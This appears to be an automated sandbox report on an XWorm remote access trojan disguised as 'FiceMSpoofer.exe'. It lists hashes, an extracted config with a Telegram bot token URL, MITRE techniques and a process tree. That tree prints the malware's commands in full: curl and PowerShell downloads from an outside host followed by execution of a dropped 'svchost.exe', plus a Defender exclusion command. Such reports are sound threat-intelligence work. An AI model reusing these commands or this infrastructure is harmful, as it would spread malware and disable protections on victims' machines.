xworm | 013b8d2a4d0c1e40fcaba90806beaf0e88504e74e9ff92ef6421b42d592bd3f0

General

Target

FiceMSpoofer.exe
Size

79KB
MD5

a0271b9ae627548e444ec28e80c49068
SHA1

3dd83dd24753dcfa19bfbd74878fd62b41ab0b50
SHA256

013b8d2a4d0c1e40fcaba90806beaf0e88504e74e9ff92ef6421b42d592bd3f0
SHA512

a4746d45f4daf8bb2ba33701e695271f05e6ec5104a2b80d7f27eeb476f76b3ebd4cd40c29e0c50ad0935eb18ffc99e2f4db0b63fe65456d25f5d413a18df6a3
SSDEEP

1536:+rae78zjORCDGwfdCSog01313Ks5gE2k:GahKyd2n31T5r2k

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

Attributes

Install_directory
%AppData%
install_file
svchost.exe
pastebin_url
https://pastebin.com/raw/mDSLGN9q
telegram
https://api.telegram.org/bot7168105056:AAGVK3B7ZFupxq4PpmnBpxAQOwJ5CUp76ow/sendMessage?chat_id=1992635040

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0011000000023b72-34.dat	family_xworm
behavioral1/memory/3384-36-0x0000000000D70000-0x0000000000D8C000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
22	1656	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3168	powershell.exe
1656	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
3384	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	FiceMSpoofer.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
23	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3168	powershell.exe
3168	powershell.exe
1656	powershell.exe
1656	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3168	powershell.exe
Token: SeDebugPrivilege	1656	powershell.exe
Token: SeDebugPrivilege	3384	svchost.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 1768 wrote to memory of 904	1768	FiceMSpoofer.exe	83
PID 1768 wrote to memory of 904	1768	FiceMSpoofer.exe	83
PID 904 wrote to memory of 264	904	cmd.exe	85
PID 904 wrote to memory of 264	904	cmd.exe	85
PID 904 wrote to memory of 532	904	cmd.exe	89
PID 904 wrote to memory of 532	904	cmd.exe	89
PID 904 wrote to memory of 2992	904	cmd.exe	90
PID 904 wrote to memory of 2992	904	cmd.exe	90
PID 2992 wrote to memory of 1076	2992	WScript.exe	91
PID 2992 wrote to memory of 1076	2992	WScript.exe	91
PID 1076 wrote to memory of 3168	1076	cmd.exe	94
PID 1076 wrote to memory of 3168	1076	cmd.exe	94
PID 1076 wrote to memory of 1656	1076	cmd.exe	95
PID 1076 wrote to memory of 1656	1076	cmd.exe	95
PID 1076 wrote to memory of 3384	1076	cmd.exe	99
PID 1076 wrote to memory of 3384	1076	cmd.exe	99
PID 2992 wrote to memory of 2340	2992	WScript.exe	111
PID 2992 wrote to memory of 2340	2992	WScript.exe	111

C:\Users\Admin\AppData\Local\Temp\FiceMSpoofer.exe
"C:\Users\Admin\AppData\Local\Temp\FiceMSpoofer.exe"
1⤵
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
PID:1768
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c main.bat
  2⤵
  - Checks computer location settings
  - Modifies registry class
  - Suspicious use of WriteProcessMemory
  PID:904
- - C:\Windows\system32\curl.exe
    curl "https://download.t3k.site/d/TKZb9w6VkHTZyX68SiFGSXTD4mJnGe2pfci7dxQOrMkT6Ys58THoTTOTEwSQ" -o installer.bat
    3⤵
    PID:264
- - C:\Windows\system32\curl.exe
    curl "https://download.t3k.site/d/VM5Pb1HkPC4lGvDGlSx6uv8qU8NTIBUCeSGvPdsb7fvePGrDEjfhfc4dTCXl" -o run.vbs
    3⤵
    PID:532
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\run.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:2992
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c installer.bat
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1076
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        Powershell -Command "Set-MpPreference -ExclusionExtension exe"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3168
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        Powershell -Command "Invoke-Webrequest 'https://download.t3k.site/d/vRjJCJlmX67rqifdZJH928gmqpPY0zcSgTwsV6NkTNTMtGKkm1SsVymBQVDz' -OutFile 'svchost.exe'"
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1656
    - - C:\Users\Admin\AppData\Roaming\svchost.exe
        
        .\svchost.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:3384
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c exit
      4⤵
      PID:2340

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\main.bat

Filesize
256B

MD5
e262e5bd963c829357048858a2d64e04

SHA1
2884d6841512bc948a7daee268da91240faa3c13

SHA256
14fe35548160972a32833d45cd302460b39876ea26b7646f6b424c8654ce1b55

SHA512
694d507b078ddab1ad5cdb653f33507f716557609dff9a78e1091b7efde9093f5155d2bcd7e921a0ce581d6f3bd8fdd68b996452b956e7ceaa1d5c7dec5ce2de

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ehbv2d5q.h2q.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\installer.bat

Filesize
257B

MD5
ae00757e6487b0c2ac116e09d5fd59c5

SHA1
3b4e7403b8934e8f31b68fbdff63fa063a91bd56

SHA256
57a777cf4a032ddc12d85b93fcbed6960608bb42e612b8ab224fbf5aff8f4f8e

SHA512
9431e99b9179fb2e33a5c227e9fc603e9c61b1db9f247b08c6b9874bb80b6510ff215c04e04ea9a77150307eb27c8dcc0dab4ce5f0757a13cdb5adbce9d98e15

Download Submit
C:\Users\Admin\AppData\Roaming\run.vbs

Filesize
134B

MD5
6d346aad37debed59b302c74a50d5ff7

SHA1
356bd92ec121ec0a3f4b1c12ef81ada47ebf6429

SHA256
b4033fe422e7f1a0351bac53c119321b6c90b6877e65fef4de17bbbba2a767f2

SHA512
58865078ebf065fa969bed3b26172101f67193aaf6e9e018aa87d46ec535f982739a7b4526ad78c72788f71dd6d63094add2837a3c610d8ca345da8eab254112

Download Submit
C:\Users\Admin\AppData\Roaming\svchost.exe

Filesize
83KB

MD5
cf73759724ceaffa0353900bd428a555

SHA1
a62a68b7a2c0db839f05a763a9c5bda7b92f4709

SHA256
39d928ef59af8f60ad6ff7dc973cc3d00e3f6751d5fd3824c615c311b0a14da0

SHA512
d6340601e1a3ebda121390d55a3f2fbb6a1fd38e8fb51115823377f72087ef17409eafe41c182736c20b70ce25fabc1f83750112804b981c34d791c69e403e11

Download Submit
memory/3168-8-0x000001E1DD2C0000-0x000001E1DD2E2000-memory.dmp

Filesize
136KB

Download
memory/3384-36-0x0000000000D70000-0x0000000000D8C000-memory.dmp

Filesize
112KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads